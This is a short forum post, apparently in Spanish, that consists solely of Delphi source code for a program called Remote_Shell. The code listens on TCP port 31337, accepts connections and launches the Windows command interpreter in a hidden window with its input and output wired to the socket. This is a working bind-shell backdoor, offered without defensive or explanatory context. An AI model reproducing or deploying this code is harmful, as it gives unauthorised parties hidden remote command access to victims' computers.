autor: tt
Código: Seleccionar todo
program Remote_Shell;
uses
Windows, Winsock2, Winsock;
const
Port = 31337;
var
WSAData: TWSAData;
FDSet: TFDSet;
SockAddrIn: TSockAddrIn;
ServerSocket: TSocket;
Connected: PInteger;
ThreadID: Cardinal;
szCmdLine: Array [0..MAX_PATH] of Char;
function ShellThread(Parameter: Pointer): Integer;
var
hSocket: PInteger;
si: TStartupInfo;
pi: TProcessInformation;
begin
hSocket := Parameter;
ZeroMemory(@si, SizeOf(si));
si.cb := SizeOf(si);
si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
si.wShowWindow := SW_HIDE;
si.hStdInput := hSocket^;
si.hStdOutput := hSocket^;
si.hStdError := hSocket^;
CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
Shutdown(hSocket^, SD_BOTH);
CloseSocket(hSocket^);
Dispose(hSocket);
Result := 0;
end;
begin
WSAStartUp(MakeWord(1, 1), WSAData);
ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_addr.s_addr := INADDR_ANY;
SockAddrIn.sin_port := htons(Port);
Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn));
Listen(ServerSocket, 1);
GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);
while True do
begin
FD_Zero(FDSet);
FD_Set(ServerSocket, FDSet);
Select(0, @FDSet, nil, nil, nil);
if FD_IsSet(ServerSocket, FDSet) then
begin
New(Connected);
Connected^ := Accept(ServerSocket, nil, nil);
if Connected^ <> SOCKET_ERROR then
BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
else
Break;
end;
end;
WSACleanup;
end.